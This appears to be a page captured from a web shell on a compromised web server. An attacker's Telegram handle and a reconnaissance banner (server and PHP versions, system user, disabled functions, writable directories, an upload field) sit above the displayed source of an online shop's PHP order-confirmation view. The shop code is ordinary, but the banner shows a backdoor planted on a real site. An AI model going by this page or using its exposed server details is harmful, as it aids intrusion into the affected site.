https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/views/retailerapproval.php
<div class="customer_info_box container">
	<?php
	if (empty($order_info->referral)) {
		$disc_first = 0.05;
	} else {
		if ($order_info->referral == 'laciput') {
			$disc_first = 0.05;
		} else {
			$disc_first = 0.1;
		}
	} ?>
	<div class="row">

		<div class="col-md-6 col-sm-12" style="border:1px solid black; margin-top: 30px; padding-bottom: 40px;">
			<?php
			$first_discount = 0;
			if ($order_info->first == 1) {
				$first_discount = ($order_info->total_amount) * $disc_first;
			}

			?>
			<div class="row customer_info_box_head">
				<div class="col-sm-12">
					<br>
					<div class="padding:10px;">
						<h3><?= ucwords(lang('retailerorder')); ?></h3>
						<hr style="border-top: 1px solid black; margin-top: 0.5rem">
					</div>
					<br>
					<div class="summary_info_box_in" class="padding:10px; border:1px solid black; border-top:none;">
						<span><?= ucwords(lang('confirmation_order')); ?>: <?= $order_id; ?> <?= ucwords(lang('email_to_retailer')); ?> <b><?= $email; ?></b>, <?= ucwords(lang('email_to_retailer2')); ?></span><br><br>
						<br>
					</div>
				</div>
			</div>

			<div class="row">
				<div class="col-6">
					<p style="margin: 0px;font-weight: bold;"><?= ucwords(lang('order_no')); ?>: <?= $order_id; ?></p>
					<input type="hidden" name="order_id" value="<?= $order_info->id_orders; ?>">
					<?php
					$order_date = strtotime($order_info->order_date);
					$new_date = date('j/m/Y', $order_date);
					?>
					<p style="margin: 0px;font-weight: bold;"><?= ucwords(lang('order_date')); ?>: <?= $new_date; ?></p>
				</div>
			</div>

			<div class="row">
				<div class="col-sm-12">
					<p style="margin: 0px;font-weight: bold;"><?= ucwords(lang('recipient')); ?>:</p>
					<p style="margin: 0px;">
						<?php if ($order_info->recipient_name != null) : ?>
							<?= ucwords($order_info->recipient_name); ?><br>
						<?php endif; ?>
						<?= ucwords($order_info->address); ?><br><?= ucwords($order_info->subdistrict); ?>. <?= ucwords($order_info->district); ?>. <?= ucwords($order_info->province); ?>. <?= ucwords($order_info->postcode); ?>
					</p>
				</div>
			</div>

			<br>
			<p style="margin: 0px;font-weight: bold;"><?= ucwords(lang('products')); ?>:</p>
			<hr style="border-top: 1px solid black; margin-top: 0.5rem">

			<?php
			$order_info_id = $order_info->id_orders;
			$this->db->select('*');
			$this->db->from('orders_detail');
			$this->db->where('orders_id', $order_info_id);
			$query = $this->db->get();
			$orders_detail = $query->result();
			?>
			<?php foreach ($orders_detail as $order_detail) : ?>

				<div class="row" style="margin-bottom: 5px;">
					<div class="col-4">
						<?php
						$this->load->helper('product');
						$thumbnail = get_product_thumbnail($order_detail->product_id);
						?>
						<img src="<?= $thumbnail['image1']; ?>" alt="" />
					</div>
					<div class="col-4">
						<p style="margin: 0px;"><?= $order_detail->item_name; ?>
							<br>
							<?php
							//get SKU
							$sku = $this->db->select('sku')->from('product_details')->where('id', $order_detail->item_id)->get()->row()->sku;
							?>
							<?= $sku; ?><br>
							<?php if ($order_detail->is_backorder == 'yes') : ?>
								Indent<br><?= $order_detail->indent_message; ?>
							<?php endif; ?>
						</p>
					</div>
					<div class="col-4">
						<p style="margin-bottom: 10px;">
							<?= ucwords(lang('quantity')); ?>: <?= $order_detail->quantity; ?> pcs<br>
							@IDR <?= number_format($order_detail->item_price); ?>
						</p>
					</div>
				</div>
			<?php endforeach;
			$subtotal = $subtotal + $order_detail->item_price;
			?>

			<?php if (isset($tax)) : ?>
				<p><?= ucwords(lang('tax')); ?> 10%: IDR <?= number_format($tax); ?></p>
			<?php endif; ?>

			<p style="text-align: right; border-top: 1px solid black; padding-top: 5px;"><?= ucwords(lang('shipping_fee')); ?> :
				<?= ucwords(lang('shipping_retailer')); ?>
			</p>
			<?php if ($order_info->insurance_status == 'Yes') : ?>

				<p style="text-align: right"><?= ucwords(lang('shipping_insurance')); ?>:
					IDR <?= number_format($order_info->insurance_cost); ?>
				</p>
			<?php endif; ?>

			<?php if ($order_info->free_shipping_fee > 0) : ?>
				<p style="text-align: right"><?= ucwords(lang('shipping_fee_discount')); ?> :
					IDR <?= number_format($order_info->free_shipping_fee); ?>
				</p>
			<?php endif; ?>

			<?php if ($order_info->minus_reward != 0) : ?>
				<?php
				// echo "<pre>";
				// var_dump($order_info); exit();

				?>
				<p style="text-align: right">
					Potongan Credit : IDR -<?= number_format($order_info->minus_reward_amount); ?>
				</p>
			<?php endif; ?>

			<?php if ($order_info->redeemed_voucher_code != null) : ?>
				<p style="text-align: right"><?= ucwords(lang('voucher_discount')); ?>: <?= $order_info->redeemed_voucher_code; ?>

					<?php if ($order_info->redeemed_voucher_type == 'amount') : ?>
						<br>
						IDR -<?= number_format($order_info->redeemed_voucher_amount); ?>
					<?php endif; ?>

					<?php if ($order_info->redeemed_voucher_type == 'percentage') : ?>
						<br>
						<?= number_format($order_info->redeemed_voucher_value); ?>%. IDR -<?= number_format($order_info->redeemed_voucher_amount); ?>
					<?php endif; ?>
				</p>
			<?php endif; ?>
			<?php
			if ($order_info->first == 1) : ?>
				<p style="text-align: right"><?= ucwords(lang('first_purchase')); ?> :
					IDR -<?= number_format(($order_info->total_amount) * $disc_first); ?>
				</p>
			<?php endif;
			?>

			<?php $final_grand_total = $grand_total - $first_discount ?>
			<p style="border-top: 1px solid black;margin: 0px; padding-top: 5px;font-weight: bold;text-align: right;">
				TOTAL: IDR <?= number_format($final_grand_total); ?>
			</p>

			<br>
			<span><?= ucwords(lang('thank_for_order')); ?>.</span><br><br>

			<a class="btn btn-primary btn-buy" href="<?= base_url(); ?>" style="float: none;background-color: #000 color:white;"><?= ucwords(lang('continue_shopping')); ?></a>
			<?php echo form_close(); ?>

		</div>

	</div>

</div>

https://t.me/RX1948 - 2025